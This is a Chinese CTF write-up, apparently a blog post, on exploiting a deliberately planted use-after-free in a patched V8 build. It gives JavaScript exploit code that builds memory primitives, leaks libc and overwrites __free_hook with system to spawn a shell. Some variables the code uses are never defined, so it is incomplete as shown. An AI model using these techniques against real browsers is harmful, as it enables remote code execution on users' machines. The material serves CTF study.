前言

继续学习浏览器漏洞的相关知识。

之前文章:

v8开坑+starCTF2019 oob:http://pwn.sofr.website/2020/06/01/v8%E5%BC%80%E5%9D%91/

关键字: CTF pwn browser v8 数字经济

1
2
git reset --hard 0ec93e047216979431bd6f147ab5956bb729afa2
git apply /home/sofr/browser_pwn/数字经济-final-browser/browser/diff.patch

题目信息

先查看diff:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index e6ab965a7e..9e5eb73c34 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -362,6 +362,36 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
}
} // namespace

+// Vulnerability is here
+// You can't use this vulnerability in Debug Build :)
+BUILTIN(ArrayCoin) {
+ uint32_t len = args.length();
+ if (len != 3) {
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+
+ Handle<Object> value;
+ Handle<Object> length;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, length, Object::ToNumber(isolate, args.at<Object>(1)));
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(2)));
+
+ uint32_t array_length = static_cast<uint32_t>(array->length().Number());
+ if(37 < array_length){
+ elements.set(37, value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+ else{
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
+

这个diff中,添加了在数组第37个元素处写任意值的操作,但是同时这个coin函数又判断了当前的这个数组的长度必须小于37,但看这个函数是没有漏洞的,但是该函数可以通过valueOf 触发 callback 回调,回调函数可以通过对 array.length 的赋值来重新分配内存空间。然而,array 以及 element 均在执行回调之前就已经保存在局部变量中,后续在对 element 的赋值时也直接采用的是该局部变量,因此我们得到了一个 UAF ,并且可以这样利用:通过在 Callback 中扩大 Arraylength 来强制 GC 重新 alloc ,之后通过分配巨量的 array 来占位原 array 的地址空间,最后通过 elements.set(37, value->Number()) 来达到对原内存内容的修改。倘若我们修改的内存恰好是新占位 arraylength 字段,那我们就得到了一个 OOB 数组。

思路

在分析完题目后,思路就有了,和starCTF的oob类似,构造一个addressOf和fakeObject语句,之后构造任意地址读写。最后修改free_hook达到最终的getshell。

首先,申请一个数组作为溢出的数组,之后申请一个float数组,准备溢出至改数组的length字段,之后用该数组实现越界的读写。同时为了后续的addressOf和fakeObject函数,我们申请了一个object的数组。

1
2
3
4
5
var obj = {x:100};
var array = new Array(31);
var float_array = [1.1];
//%DebugPrint(float_array);
var object_array = [obj,obj,obj,obj];

之后就是我们通过callback函数,进行漏洞利用:

1
2
3
4
5
6
7
8
var object_array = [obj,obj,obj,obj];
var vuln = {
valueOf:function(){
array.length = 40;
return 1024;
}
}
array.coin(1,vuln);

从gdb里面算一算偏移,可以找到应该申请多大的array用来刚好溢出到float_array的length字段。这里我计算出来是31。

之后,利用float_array来修改object_array的内容,可以分别用object_array正常写,float_array越界读来实现addressOf,使用float_array越界写,object_array正常读来实现fakeObejct。

1
2
3
4
5
6
7
8
9
10
11
12
13
function addressOf(object)
{
object_array[0] = object;
var address = float_array[7];
return f2i(address)-1n;
}

function fakeObject(address)
{
float_array[7] = i2f(address);
var fakeObject = object_array[0];
return fakeObject;
}

最后,我的任意读写的语句和之前的starCTF的oob中的语句完全一样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
var a = [1.1, 2.2];
var a_constructor_addr = addressOf(a.constructor);
console.log("[+] leak addr: " + hex(a_constructor_addr));
var fake_obj_addr = leak_addr+0x30n;
var fake_obj = fakeObject(fake_obj_addr+1n);
function read64(addr)
{
evil_array[2] = i2f(addr-0x10n+1n);
var leak_data = f2i(fake_obj[0]);
return leak_data;
}

function write64(addr,data)
{
evil_array[2] = i2f(addr-0x10n+1n);
fake_obj[0] = i2f(data);
return;
}

var data_buf = new ArrayBuffer(0x200);
var data_view = new DataView(data_buf);
function dataview_write(addr,data)
{
write64(addressOf(data_buf)+0x20n,addr);
data_view.setFloat64(0,i2f(data),true);
}

包括最后的利用也是一样的,唯一不一样的是text地址的偏移变了,这个自己重新算算就ok了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var text_addr = (read64(read64(a_constructor_addr + 0x30n)-1n +0x40n) >> 16n) - 0xaf6c60n;
console.log("[+] text addr: " + hex(text_addr));

var sprintf_got = text_addr+0xdbe770n;
console.log("[+] sprintf got addr: " + hex(sprintf_got));
var libc_addr = read64(sprintf_got) - 0x65000n;
console.log("[+] libc addr: " + hex(libc_addr));
var system_addr = libc_addr + 0x4f440n;
var free_hook_addr = libc_addr + 0x3ed8e8n;
console.log("[+] system addr: " + hex(system_addr));
console.log("[+] free hook addr: " + hex(free_hook_addr));

dataview_write(free_hook_addr,system_addr);

let get_shell_buffer = new ArrayBuffer(0x1000);
let get_shell_dataview = new DataView(get_shell_buffer);
get_shell_dataview.setFloat64(0, i2f(0x0068732f6e69622fn), true);

image-20200607193933641

image-20200607193953159

写在最后

如有错误欢迎指正:sofr@foxmail.com

之前文章:

v8开坑+starCTF2019 oob:http://pwn.sofr.website/2020/06/01/v8%E5%BC%80%E5%9D%91/

Comments

⬆︎TOP